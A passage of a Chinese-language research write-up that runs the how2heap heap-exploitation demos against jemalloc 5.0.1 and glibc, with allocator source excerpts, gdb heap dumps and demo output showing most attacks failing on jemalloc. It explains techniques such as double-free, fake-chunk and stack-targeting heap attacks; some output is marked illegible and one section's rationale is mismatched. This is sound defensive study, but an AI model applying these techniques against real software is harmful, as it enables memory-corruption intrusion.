        mchunkptr tc_victim;

        /* While bin not empty and tcache not full, copy chunks. */
        while (tcache->counts[tc_idx] < mp_.tcache_count
            && (tc_victim = *fb) != NULL)
        {
            if (SINGLE_THREAD_P)
                *fb = tc_victim->fd;
            else
            {
                REMOVE_FB (fb, pp, tc_victim);
                if (__glibc_unlikely (tc_victim == NULL))
                    break;
            }
            tcache_put (tc_victim, tc_idx);
        }
    }
}

#endif
```

我们可以在 free() 时放入 tcache 的调用栈中找到 tcache_put() 函数：

```
static __always_inline void
tcache_put(mchunkptr chunk, size_t tc_idx)
{
    tcache_entry *e = (tcache_entry *)chunk2mem(chunk);
    assert(tc_idx < TCACHE_MAX_BINS);
    e->next = tcache->entries[tc_idx];
    tcache->entries[tc_idx] = e;
    ++(tcache->counts[tc_idx]);
}
```

可以得知，在 Glibc-2.23 时，没有 tcache 的影响下，我们得到的就是第一次得到 chunk 的头部地址，而在 Glibc-2.27，有 tcache 的影响下，我们得到的是第一次 malloc 的地址：

```
gef> x/20gx *d-4
0x7fffffff474 : 0x004009d900000000 0x0000002000000000 <-- malloc return
0x7fffffff484 : 0x0060326000000000 0x0060326000000000 <-- *d
0x7fffffff494 : 0x0060328000000000 0x006032a000000000
0x7fffffff4a4 : 0x7e513f0000000000 0x00400a20c55f9209
0x7fffffff4b4 : 0xf7a44b8e00000000 0x0000000000007fff
```

因此，实际运行结果和在 Glibc-2.23 中差了 0x10。

3.12 overlapping_chunks

攻击成功。

3.13 overlapping_chunks_2

攻击成功。

4 jemalloc 分析

此处分析的版本为 jemalloc-5.0.1 中的 malloc 实现。为了方便调试，我们可以在编译 jemalloc 的时候保留调试符号信息： `--enable-debug`。修改 Makefile，使用 jemalloc 编译 how2heap 的二进制文件：

```
PROGRAMS = fastbin_dup fastbin_dup_into_stack fastbin_dup Consolidate unsafe_unlink
↪ house_of_spirit poison_null_byte malloc_playground first_fit house_of_lore
↪ overlapping_chunks overlapping_chunks_2 house_of_force unsorted_bin_attack
↪ house_of_einherjar house_of_orange

CFLAGS += -std=c99 -g
LDFLAGS += -L/usr/local/jemalloc/lib
LDLIBS += -ljemalloc

# Convenience to auto-call mcheck before the first malloc()
#CFLAGS += -lmcheck

all: $(PROGRAMS)

clean:
    rm -f $(PROGRAMS)
```

4.1 jemalloc 简介

现代 CPU 已大多数为多核 CPU，多线程的应用程序也越来越广泛，内存的分配与回收也越来越成为制约程序性能的一大原因。因此为多核多线程的堆管理器 jemalloc 应运而生。

在过去，分配器使用 `sbrk(2)` 来获得内存，由于多种原因，其中包括竞争条件，碎片增加以及最大可用内存的人为限制，这是不理想的。如果操作系统支持 `sbrk(2)`，则该分配器按照该优先顺序同时使用 `mmap(2)` 和 `sbrk(2)`；否则仅使用 `mmap(2)`。

这个堆分配器会使用多 arena 的方式来减少多核系统上多线程程序的锁竞争。除了多个 arena 之外，该分配器还支持线程特定的缓存，以便可以完全避免大多数分配请求的同步。这样的缓存允许在正常情况下进行快速分配，但是它增加了内存的使用和分段，因为有限数量的对象可以在每个线程缓存中一直保存被分配的状态。

从 jemalloc 5.0.0 版本开始，不再使用“chunks”这个数据结构进行虚拟内存的管理，而是去使用一个新的，页面对齐的数据结构——extents。（于是之前几乎所有关于 jemalloc 的资料全部作废了，就是一夜回到解放前看源码）

在 jemalloc 的最新设计中，内存区域在概念上被划分为 extents，extents 始终与页面大小的倍数对齐，这种对齐可以让用户更快速的找到储存的元数据。用户的对象被分为大小两类，连续的小对象包含一个 slab，也就是一个单一的 extent，而大的对象则有自己的 extents 支持。

小的对象由 slab 分组管理，而每一个 slab 则维护一个 bitmap 追踪哪些区域正在被使用。不超过 1 quantum 一半的分配请求（8 或 16，依据架构而定）将四舍五入到最接近的 2 的幂，至少是 `sizeof(double)`。

具体大小和分类见下表⁵：

⁵详见：http://jemalloc.net/jemalloc.3.html#size_classes

Category	Spacing	Size
Small	lg	[8]
	16	[16, 32, 48, 64, 80, 96, 112, 128]
	32	[160, 192, 224, 256]
	64	[320, 384, 448, 512]
	128	[640, 768, 896, 1024]
	256	[1280, 1536, 1792, 2048]
	512	[2560, 3072, 3584, 4096]
	1KiB	[5 KiB, 6 KiB, 7 KiB, 8 KiB]
	2KiB	[10 KiB, 12 KiB, 14 KiB]
Large	2 KiB	[16 KiB]

	1 EiB	[5 EiB, 6 EiB, 7 EiB]

4.2 unsafe_unlink

由于 jemalloc 的实现和 ptmalloc 并不相同，没有采用边界标记来在堆分配的时候标记数据，而是使用了 bitmap 标记内存的使用情况，因此 jemalloc 对 unlink 攻击免疫，所以 unlink 攻击无法成功。

```
$ how2heap ./unsafe_unlink
The global chunk0_ptr is at 0x601070, pointing to 0x7ff94e61e000
The victim chunk we are going to corrupt is at 0x7ff94e61e080

Fake chunk fd: 0x601058
Fake chunk bk: 0x601060

Original value: AAAAAAAAAA
New Value: AAAAAAAAAA
```

4.3 house_of_spirit

攻击失败，运行结果如下：

```
$ how2heap ./house_of_spirit
We will overwrite a pointer to point to a fake 'fastbin' region. This region contains two
↪ chunks.
The first one: 0x7ffd67374070
The second one: 0x7ffd67374090
Overwritting our pointer with the address of the fake region inside the fake first chunk,
↪ 0x7ffd67374070.
Freeing the overwritten pointer.
<jemalloc>: src/rtree.c:205: Failed assertion: "!dependent || leaf != NULL"
[1] 27382 abort ./house_of_spirit
```

free 时会调用 jemalloc 中的 free(), 跟踪进入 free() 调用的 ifree():

```
ifree(tsd=0x7ffff7fde728, ptr=0x7ffffffffffe480, tcache=0x7ffff7fde8e0, slow_path=0x1);
```

继续跟入, tsd_tsdn() 函数十分简洁, 且作用是强制类型转换, 我们可以略过, 进入 ifree() 中调用的 idalloctm() 函数, 再进入 arena_dalloc():

```
// arena_dalloc(tsdn=0x7ffff7fde728, ptr=0x7ffffffffffe480, tcache=0x7ffff7fde8e0,
↪ alloc_ctx=0x7ffffffffffe3f0, slow_path=0x1)
// config_debug = 1, 进入
if (config_debug) {
    rtree_ctx = tsd_rtree_ctx(tsdn_tsd(tsdn));
    // extent=0x00007ffffffffffe348 ↪ [...] ↪ 0x00000000100000101,
    ↪ tsdn=0x00007ffffffffffe328 ↪ [...] ↪ 0x00000000100000101
    extent_t *extent = rtree_extent_read(tsdn, &extents_rtree,
        rtree_ctx, (uintptr_t)ptr, true);
    // extent=0x00007ffffffffffe348 ↪ 0x0000000000000000
    assert(szind == extent_szind_get(extent));
    assert(szind < NSIZES);
    assert(slab == extent_slab_get(extent));
}
// 略去无关函数
```

我们在 extent_szind_get(extent) 函数中调用的 extent_szind_get_maybe_invalid(extent) 中有如下操作:

```
static inline szind_t
extent_szind_get_maybe_invalid(const extent_t *extent) {
    // extent=0x00007ffffffffffe2a8 ↪ 0x0000000000000000
    szind_t szind = (szind_t)((extent->e_bits & EXTENT_BITS_SZIND_MASK) >>
        EXTENT_BITS_SZIND_SHIFT);
    assert(szind <= NSIZES);
    return szind;
}
```

extent 的值由 0x00007ffffffffffe2a8 变成了一个非法地址 0x0000000000000000, 因此 extent->e_bits 无法计算, 所以, szind 的值与 NSIZES (该值此时为 0xE8) 无法比较, 因此程序收到终止信号, 程序退出。

4.4 house_of_lore

攻击失败:

```
$ how2heap ./house_of_lore
Allocated the victim (small) chunk: 0x7fd6d8878000
stack_buffer_1: 0x7ffd6419e2a0
stack_buffer_2: 0x7ffd6419e280

Freeing the victim chunk 0x7fd6d8878000, it will be inserted in the unsorted bin
victim->fd: 0x5a5a5a5a5a5a5a5a
victim->bk: 0x5a5a5a5a5a5a5a5a

Malloc a chunk that can't be handled by the unsorted bin, nor the SmallBin: 0x7fd6d887a000
The victim chunk 0x7fd6d8878000 will be inserted in front of the SmallBin
victim->fd: 0x5a5a5a5a5a5a5a5a
victim->bk: 0x5a5a5a5a5a5a5a5a

Now emulating a vulnerability that can overwrite the victim->bk pointer
This last malloc should return a chunk at the position injected in bin->bk: 0x7fd6d8878000
The fd pointer of stack_buffer_2 has changed: 0x7ffd6419e2a0
```

gdb 打开应用，在 free 之前下断点，堆布局是这样的：

```
gef> x/20gx victim-2
0x7ffff64a4ff0: 0x0000000000000000 0x0000000000000000
0x7ffff64a5000: 0x4141414141414141 0x4141414141414141
...           : ...           ..
0x7ffff64a5070: 0x4141414141414141 0x4141414141414141
0x7ffff64a5080: 0x0000000000000000 0x0000000000000000
```

之前就已经提到过，jemalloc 没有采用边界标记法表示内存，因此没有在分配内存的附近有标记，如果使用 glibc 的堆布局就如下所示：

```
gef> x/20gx victim-2
0x603000: 0x0000000000000000 0x0000000000000091 <- size
0x603010: 0x4141414141414141 0x4141414141414141
...      : ...      ...
0x603080: 0x4141414141414141 0x4141414141414141
0x603090: 0x0000000000000000 0x0000000000000021 <- next size
```

free() 之后，我们的堆布局变成了下面的样子：

```
gef> x/20gx victim-2
0x7ffff64a4ff0: 0x0000000000000000 0x0000000000000000
0x7ffff64a5000: 0x5a5a5a5a5a5a5a5a 0x5a5a5a5a5a5a5a5a
...           : ...           ...
0x7ffff64a5070: 0x5a5a5a5a5a5a5a5a 0x5a5a5a5a5a5a5a5a
0x7ffff64a5080: 0x0000000000000000 0x0000000000000000
```

jemalloc 在 free 某块内存之后，不仅会在 bitmap 中标记，还会填充特定的字符，因此攻击失效。

4.5 house_of_einherjar

前面的分析已经提到过，house-of-einherjar 是一种利用 malloc 来返回一个附近地址的任意指针。它要求有一个单字节溢出漏洞，覆盖掉 next chunk 的 size 字段并清除 PREV_IN_USE 标志。jemalloc 没有采用边界标记的方法标记 free chunks，因此本次攻击也是不成功的。

```
$ how2heap ./house_of_einherjar
```

```
We allocate 0x10 bytes for 'a': 0x7f6121abf000
```

```
Our fake chunk at 0x7ffe5fe58050 looks like:
```

```
prev_size: 0x80
```

```
size: 0x80
```

```
fwd: 0x7ffe5fe58050
```

```
bck: 0x7ffe5fe58050
```

```
fwd_nextsize: 0x7ffe5fe58050
```

```
bck_nextsize: 0x7ffe5fe58050
```

```
We allocate 0xf8 bytes for 'b': 0x7f6121ac0000
```

```
b.size: 0
```

```
We overflow 'a' with a single null byte into the metadata of 'b'
```

```
b.size: 0
```

```
We write a fake prev_size to the last 8 bytes of a so that it will consolidate with our fake
↳ chunk
```

```
Our fake prev_size will be 0x7f6121abfff0 - 0x7ffe5fe58050 = 0xffffffff62c1c67fa0
```

```
Modify fake chunk's size to reflect b's new prev_size
```

```
Now we free b and this will consolidate with our fake chunk
```

```
Our fake chunk size is now 0xffffffff62c1c67fa0 (b.size + fake_prev_size)
```

Now we can call malloc() and it will begin in our fake chunk: 0x7f6121abf010

在分配 b 时下断点，查看堆布局：

```
gef$ x/50gx b-0x10
0x7ffff64a5ff0: 0x0000000000000000  0x0000000000000000
0x7ffff64a6000: 0xa5a5a5a5a5a5a5a5  0xa5a5a5a5a5a5a5a5
...           : ...
0x7ffff64a60f0: 0xa5a5a5a5a5a5a5a5  0xa5a5a5a5a5a5a5a5
0x7ffff64a6100: 0x0000000000000000  0x0000000000000000
```

而使用 glibc 分配的内存如下所示：

```
gef$ x/50gx b-0x10
0x603020: 0x4141414141414141  0x0000000000000101 <- P flag
0x603030: 0x0000000000000000  0x0000000000000000 -
...      : ...
0x603120: 0x0000000000000000  0x0000000000020ee1 -
0x603130: 0x0000000000000000  0x0000000000000000
```

综上，本次攻击也是失败的。

4.6 house_of_orange

运行程序没有任何输出，自然是攻击失败：

```
$ how2heap ./house_of_orange
$ how2heap
```

前文提到，house_of_orange 的攻击是利用 unsorted_bins 的 unlink 伪造 _IO_jump_t 中的 __overflow 为 system() 函数的地址，从而达到执行 shell 的目的；而 jemalloc 中既没有 unsorted_bins，也没有 unlink，因此攻击失败。

4.7 house_of_force

攻击失败：

```
$ how2heap ./house_of_force
We will overwrite a variable at 0x602080
```

Let's allocate the first chunk of 0x10 bytes: 0x7f35be7cf000.

Real size of our allocated chunk is 0x10.

Overwriting the top chunk size with a big value so the malloc will never call mmap.

Old size of top chunk: 0

New size of top chunk: 0xfffffffffffffff

The value we want to write to at 0x602080, and the top chunk is at 0x7f35be7cf010, so

↪ accounting for the header size, we will malloc 0xffff80ca41e33060 bytes.

```
[1] 12108 segmentation fault ./house_of_force
```

前文已经说过，house_of_lore 的原理是通过破坏已经放入 small bins 中的 bk 指针来达到取得任意地址的目的，jemalloc 没有采用链表的结构管理 bins，自然攻击失败。

4.8 poison__null__byte

4.9 unsorted_bin_attack

不成功，jemalloc 中既没有 unsorted_bins 这个数据结构，也不是通过链表管理 bins：

```
$/unsorted_bin_attack
```

This file demonstrates unsorted bin attack by write a large unsigned long value into stack

In practice, unsorted bin attack is generally prepared for further attacks, such as

↪ rewriting the global variable global_max_fast in libc for further fastbin attack

Let's first look at the target we want to rewrite on stack:

```
0x7ffc82427168: 0
```

Now, we allocate first normal chunk on the heap at: 0x7fd534473000

And allocate another normal chunk in order to avoid consolidating the top chunk with the

↪ first one during the free()

We free the first chunk now and it will be inserted in the unsorted bin with its bk pointer

↪ point to 0x5a5a5a5a5a5a5a5a

Now emulating a vulnerability that can overwrite the victim->bk pointer

And we write it with the target address-16 (in 32-bits machine, it should be target

↪ address-8):0x7ffc82427158

Let's malloc again to get the chunk we just free. During this time, target should has

↪ already been rewrite:

0x7ffc82427168: (nil)

4.10 unsorted_bin_into_stack

4.11 fastbin_dup

编译, 运行:

```
$ ./fastbin_dup
This file demonstrates a simple double-free attack with fastbins.
Allocating 3 buffers.
1st malloc(8): 0x7f301d3a6008
2nd malloc(8): 0x7f301d3a6010
3rd malloc(8): 0x7f301d3a6018
Freeing the first one...
If we free 0x7f301d3a6008 again, things will crash because 0x7f301d3a6008 is at the top of
↳ the free list.
So, instead, we'll free 0x7f301d3a6010.
Now, we can free 0x7f301d3a6008 again, since it's not the head of the free list.
Now the free list has [ 0x7f301d3a6008, 0x7f301d3a6010, 0x7f301d3a6008 ]. If we malloc 3
↳ times, we'll get 0x7f301d3a6008 twice!
1st malloc(8): 0x7f301d3a6008
2nd malloc(8): 0x7f301d3a6010
3rd malloc(8): 0x7f301d3a6008
```

看上去结果和 Glibc 的类似, 实际上内部完全不同。前文已经提到, 对于小块内存, jemalloc 使用 slab 来管理。

可以猜测对于小块内存, je 如果在使用 tcache 的情况下, 采用了一种栈的数据结构结构来管理, 写 demo, 先 malloc 三次, 再 free 三次, 再 malloc, 那么我们得到的还是之前的内存的地址:

```
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

int main(){
    long *a, *b, *c;
    a = malloc(8);
    b = malloc(8);
    c = malloc(8);
    printf("a: %#x\n", a);
```

```
    printf("b: %#x\n", b);
    printf("c: %#x\n", c);
    free(a);
    free(b);
    free(c);
    a = malloc(8);
    b = malloc(8);
    c = malloc(8);
    printf("a: %#x\n", a);
    printf("b: %#x\n", b);
    printf("c: %#x\n", c);

    return 0;
}
```

运行得到结果：

```
$ ./haha
a: 0xe8d64008
b: 0xe8d64010
c: 0xe8d64018
a: 0xe8d64018
b: 0xe8d64010
c: 0xe8d64008
```

可以看出是一个先入后出的结构，实际上在 jemalloc 源码中也能看到有关此结构的定义：

```
// tcache_s
struct tcache_s
{
    /* Data accessed frequently first: prof, ticker and small bins. */
    uint64_t prof_accumbytes; /* Cleared after arena_prof_accum(). */
    ticker_t gc_ticker;      /* Drives incremental GC. */
    /*
     * The pointer stacks associated with tbins follow as a contiguous
     * array. During tcache initialization, the avail pointer in each
     * element of tbins is initialized to point to the proper offset within
     * this array.
     */
}
```

```

    */
    tcache_bin_t tbins_small[NBINS];
    /* Data accessed less often below. */
    ql_elm(tcache_t) link; /* Used for aggregating stats. */
    arena_t *arena;        /* Associated arena. */
    szind_t next_gc_bin;    /* Next bin to GC. */
    /* For small bins, fill (ncached_max >> lg_fill_div). */
    uint8_t lg_fill_div[NBINS];
    tcache_bin_t tbins_large[NSIZES - NBINS];
};

// tcache_bin_s
struct tcache_bin_s
{
    low_water_t low_water; /* Min # cached since last GC. */
    uint32_t ncached; /* # of cached objects. */
    /*
     * ncached and stats are both modified frequently. Let's keep them
     * close so that they have a higher chance of being on the same
     * cacheline, thus less write-backs.
     */
    tcache_bin_stats_t tstats;
    /*
     * To make use of adjacent cacheline prefetch, the items in the avail
     * stack goes to higher address for newer allocations. avail points
     * just above the available space, which means that
     * avail[-ncached, ... -1] are available items and the lowest item will
     * be allocated first.
     */
    void **avail; /* Stack of available objects. */
};

```

实际上我们可以画一个简单的图表示：

```

+-----+
/ | link          |
tcache_t < | prof_accumbytes |
      | | gc_ticker      |
      \ | next_gc_bin    |

```

```

      |-----|
    / | tstats      |
    | | low_water    |
tbins[0] < | lg_fill_div |
    | | ncached      |
    \ | avail        |--+
      |-----| |
    / | tstats      | |
    | | low_water    | |
    | | lg_fill_div  | |
tbins[1] < | ncached      | |
    | | avail        |--|---+
    \ |-----| | |
    ... .. | | +----->| region |
    |-----| | | | |-----|
    | padding      | | | | region |
    |-----|<--+ | | |-----|
    | stack[0]      |-----|---+ +---->| region |
    | stack[1]      |-----|-----+ |-----|
    | ...           | | | | region |
    | stack[nocache_max-1] | | | |-----|
    |-----|<-----+ +----->| region |
    | stack[0]      |-----+ |-----|
    | stack[1]      | | | | |
    | ...           | | | | |
    | stack[nocache_max-1] | | | | |
    |-----| | | | |
    ... .. | | | |
    +-----+ +-----+

```

4.12 fastbin_dup_into_stack

看上去结果和 glibc 的类似，实际上攻击是不成功的：

```
$ ./fastbin_dup_into_stack
```

This file extends on fastbin_dup.c by tricking malloc into returning a pointer to a controlled location (in this **case**, the stack). The address we want malloc() to **return** is 0x7ffe12338c88. Allocating 3 buffers.

```
1st malloc(8): 0x7f979bad3008
```

```
2nd malloc(8): 0x7f979bad3010
```

```
3rd malloc(8): 0x7f979bad3018
```

```
Freeing the first one...
```

If we free 0x7f979bad3008 again, things will crash because 0x7f979bad3008 is at the top of
↳ the free list.

So, instead, we'll free 0x7f979bad3010.

Now, we can free 0x7f979bad3008 again, since it's not the head of the free list.

Now the free list has [0x7f979bad3008, 0x7f979bad3010, 0x7f979bad3008]. We'll now carry
↳ out our attack by modifying data at 0x7f979bad3008.

```
1st malloc(8): 0x7f979bad3008
```

```
2nd malloc(8): 0x7f979bad3010
```

```
Now the free list has [ 0x7f979bad3008 ].
```

Now, we have access to 0x7f979bad3008 while it remains at the head of the free list.

so now we are writing a fake free size (in this case, 0x20) to the stack,

so that malloc will think there is a free chunk there and agree to

return a pointer to it.

Now, we overwrite the first 8 bytes of the data at 0x7f979bad3008 to point right before the
↳ 0x20.

```
3rd malloc(8): 0x7f979bad3008, putting the stack address on the free list
```

```
4th malloc(8): 0x7f979bad3020
```

在上一个攻击：fastbin_dup 中我们已经分析过，这里就不赘述了。

4.13 overlapping_chunks

攻击失败，前面提到，overlapping_chunks 的攻击方法是改写 unsorted bin 中空闲堆块的 size，改变下一次 malloc() 可以返回的堆块大小，jemalloc 未采用边界标记的方法标记内存，自然攻击不成功：

```
$ ./overlapping_chunks
```

```
This is a simple chunks overlapping problem
```

```
Let's start to allocate 3 chunks on the heap
```

```
The 3 chunks have been allocated here:
```

```
p1=0x7f2e4b5af000
```

```
p2=0x7f2e4b5af100
```

```
p3=0x7f2e4b5b0000
```

```
Now let's free the chunk p2
```

The chunk p2 is now in the unsorted bin ready to serve possible new malloc() of its size

Now let's simulate an overflow that can overwrite the size of the chunk freed p2.

For a toy program, the value of the last 3 bits is unimportant; however, it is best to ↪ maintain the stability of the heap.

To achieve this stability we will mark the least significant bit as 1 (prev_inuse), to
 ↪ assure that p1 is not mistaken for a free chunk.

We are going to set the size of chunk p2 to to 385, which gives us a region size of 376

Now let's allocate another chunk with a size equal to the data size of the chunk p2 injected size

This malloc will be served from the previously freed chunk that is parked in the unsorted bin which size has been modified by us

p4 has been allocated at 0x7f2e4b5b1000 and ends at 0x7f2e4b5b1bc0

p3 starts at 0x7f2e4b5b0000 and ends at 0x7f2e4b5b0280

p4 should overlap with p3, in this case p4 includes all p3.

Now everything copied inside chunk p4 can overwrites data on chunk p3, and data written to chunk p3 can overwrite data stored in the p4 chunk.

Let's run through an example. Right now, we have:

[illegible]

If we `memset(p4, '4', 376)`, we have:

[illegible]

[illegible]

And if we then `memset(p3, '3', 80)`, we have:

[illegible]

4.14 overlapping_chunks_2

攻击失败，原因同上：

```
./overlapping_chunks_2
```

Now we allocate 5 chunks on the heap

```
chunk p1: 0x7f160857f000 ~ 0x7f160857f010
chunk p2: 0x7f1608580000 ~ 0x7f1608580080
chunk p3: 0x7f1608580080 ~ 0x7f1608580100
chunk p4: 0x7f1608580100 ~ 0x7f1608580180
chunk p5: 0x7f160857f010 ~ 0x7f160857f020
```

Let's free the chunk p4

```
Emulating an overflow that can overwrite the size of chunk p2 with (size of chunk_p2 + size
↳ of chunk_p3)
```

```
Allocating a new chunk 6: 0x7f1608581000 ~ 0x7f16085811c0
```

Now p6 and p3 are overlapping, if we memset(p6, 'B', 0xd0)

[illegible]

[illegible]

5 总结

5.1 jemalloc 的安装

jemalloc 自己实现了对 glibc 中的 malloc 函数的 hook 操作, 于是我们可以直接下载 jemalloc, 解压至指定目录, 使用参数 `./configure --prefix=/path --enable-debug` 就可以得到有调试符号的 jemalloc 了。

然后我们就可以通过在 `/etc/ld.so.conf` 中添加编译好 jemalloc 的位置, 保存之后运行命令 `ldconfig`, 编译程序的时候就可以使用动态链接库的方式链接了 (如下代码第 3、4 行所示):

```
1 PROGRAMS = fastbin_dup fastbin_dup_into_stack fastbin_dup Consolidate unsafe_unlink
   ↪ house_of_spirit poison_null_byte malloc_playground first_fit house_of_lore
   ↪ overlapping_chunks overlapping_chunks_2 house_of_force unsorted_bin_attack
   ↪ house_of_einherjar house_of_orange
2 CFLAGS += -std=c99 -g3
3 LDFLAGS += -L/usr/local/jemalloc/lib
4 LDLIBS += -ljemalloc
5
6 all: $(PROGRAMS)
7 clean:
8     rm -f $(PROGRAMS)
```

5.2 在 Ubuntu 16.04 下使用高版本 Glibc

Ubuntu 自带的 glibc 版本是 2.23, 我们在不替换原系统 glibc 的情况下, 若要使用高版本 glibc 当作共享链接库, 则万万不可像 jemalloc 那样运行 `ldconfig`。

原因是, glibc 并不单纯的包含 `libc.so.2`, 而是包含了该对应版本的链接器等一系列工具链, 如果我们此时还在使用旧版本的 glibc, 而运行了 `ldconfig` 之后, 就会造成系统的共享链接库错误, 此时唯一的解决办法是重新安装系统。因此如果使用高版本的 glibc 共享库的话, 我们就需要指定额外的参数传递给 gcc 编译器:

```
$ gcc -g3 -L/root/tmpwork/g227/lib -Wl,--rpath=/root/tmpwork/g227/lib
   ↪ -Wl,--dynamic-linker=/root/tmpwork/g227/lib/ld-linux-x86-64.so.2 house_of_einherjar.c -o
   ↪ house_of_einherjar

$ ldd house_of_einherjar
    linux-vdso.so.1 => (0x00007ffe979ef000)
    libc.so.6 => /root/tmpwork/g227/lib/libc.so.6 (0x00007fb64da78000)
    /root/tmpwork/g227/lib/ld-linux-x86-64.so.2 => /lib64/ld-linux-x86-64.so.2
    ↪ (0x00007fb64de2d000)
```

其中, `-Wl` 指的是将该参数传递给链接器, 我们在编译时指定了所使用的动态链接库, 以及和该版本动态链接库对应的链接器。这样, 程序就可以使用高版本的 glibc 了。

5.3 一些思考

jemalloc 和 ptmalloc 是按照完全不同的思路去分配和管理内存。

ptmalloc 采用边界标记去管理内存，使用链表维护 bins 等结构，可以达到内存空间利用率的最大化，当然因此涉及到了很多对于指针的操作，且已知程序某内存地址的话，可以很快的找到相应的标记位，标记内存是否被使用等，因此对 ptmalloc 的攻击手法多种多样。此外，ptmalloc 因为涉及很多链表操作，在某些情况下效率可能受影响。但是，ptmalloc 在 2.26 版本后，添加了线程缓存等数据结构，更加注重内存管理的性能，因此也不可避免的带来了安全上的问题。

而 jemalloc，采用的是 bitmap 标记内存是否被分配等信息，控制信息和实际内存地址没有在相邻的地址上，因此可以带来一定的安全性。另一个，jemalloc 专为多核优化，拥有多个 arena，且采用内存管理上页面对齐的数据结构，方便快速查找内存单元。但是，采用了页面对齐的数据结构，因此当如果某程序申请大量小于页面大小的内存时，会带来大量的内存碎片，浪费内存。

References

- [1] Glibc Source Code, <https://ftp.gnu.org/gnu/glibc/>
- [2] jemalloc Source Code, <https://github.com/jemalloc/jemalloc>
- [3] Phrack Magazine Volume 0x0d, Issue 0x42, Phile #0x0A of 0x11, <http://phrack.org/issues/66/10.html>
- [3] Phrack Magazine Volume 0x0e, Issue 0x44, Phile #0x0A of 0x13, <http://phrack.org/issues/68/10.html>
- [4] Jemalloc 源码阅读, <https://github.com/leebaok/jemalloc-4.2.1-readcode>
- [5] 裴中煜, 张超, 段海新. Glibc 堆利用的若干方法 [J]. 信息安全学报, 2018, 3(01): 1-15.
- [6] JEMALLOC IMPLEMENTATION NOTES, <http://jemalloc.net/jemalloc.3.html>